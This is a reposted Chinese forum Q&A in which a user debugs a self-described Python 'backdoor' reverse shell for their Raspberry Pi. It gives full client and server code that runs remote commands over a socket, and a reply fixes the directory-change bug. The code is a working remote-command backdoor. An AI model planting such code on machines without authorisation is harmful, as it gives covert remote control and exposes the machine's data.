我正在為我的覆盆子構建“后門”。所以我有問題，創建互動式外殼后，我無法更改目錄。
我編輯了我的原始代碼以使其簡短。我試圖在 2-3 小時左右解決這個問題。
python3 - cd 在反向 shell 中不作業-不作業
后門外殼不允許我更改目錄-不作業
客戶：
import socket, json
import os
import subprocess
import sys
SERVER_HOST = '192.168.100.8'
SERVER_PORT = 4343
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))
snd = []
data = json.dumps({"cwd": os.getcwd(), "usr": os.getlogin()})
s.send(data.encode())
while True:
command = s.recv(BUFFER_SIZE).decode()
if command == 'shell':
while True:
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
break
if command.startswith("cd "):
try:
os.chdir(f'{os.getcwd()}/{str(command[3:])}')
except FileNotFoundError as e:
output = str(e)
else:
output = ""
else:
output = subprocess.getoutput(command)
cwd = os.getcwd()
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
if command == 'exit':
break
else:
if command.lower() == "exit":
break
else:
output = subprocess.getoutput(command)
cwd = os.getcwd()
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
s.close()
服務器：
import socket,json
import os
SERVER_HOST = "192.168.100.8"
SERVER_PORT = 4343
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen()
while True:
client_socket, client_address = s.accept()
data = json.loads(client_socket.recv(BUFFER_SIZE).decode())
while True:
print("TYPE SHELL")
tmp = input(f"[*] Enter command: ")
if tmp.lower() == 'shell':
print("[*] Opening interactive shell")
command = input(f"{data['cwd']} $: ")
while command != 'exit':
if not command.strip():
continue
client_socket.send(command.encode())
output = client_socket.recv(BUFFER_SIZE).decode()
results, cwd = output.split(SEPARATOR)
print(results)
command = input(f"{data['cwd']} $: ")
print('[!] Closing interactive shell')
這是我在外殼中看到的：
/home/pi $: is
1
Bookshelf
client.py
Desktop
Documents
Downloads
Music
Pictures
Public
rm.sh
Templates
Videos
/home/pi $: cd 1
/home/pi $: pwd
/home/pi
/home/pi $: mkdir 2 && cd 2 && touch 1 && ls && pwd
1
/home/pi/2
/home/pi $:
uj5u.com熱心網友回復：
shell啟動反向shell時，服務器需要將命令發送給客戶端。否則，客戶端將不會進入while包含查找cd命令的代碼的內部回圈。
所以添加以下行：
client_socket.send("shell".encode())
前
print("[*] Opening interactive shell")
轉載請註明出處，本文鏈接：https://www.uj5u.com/gongcheng/492895.html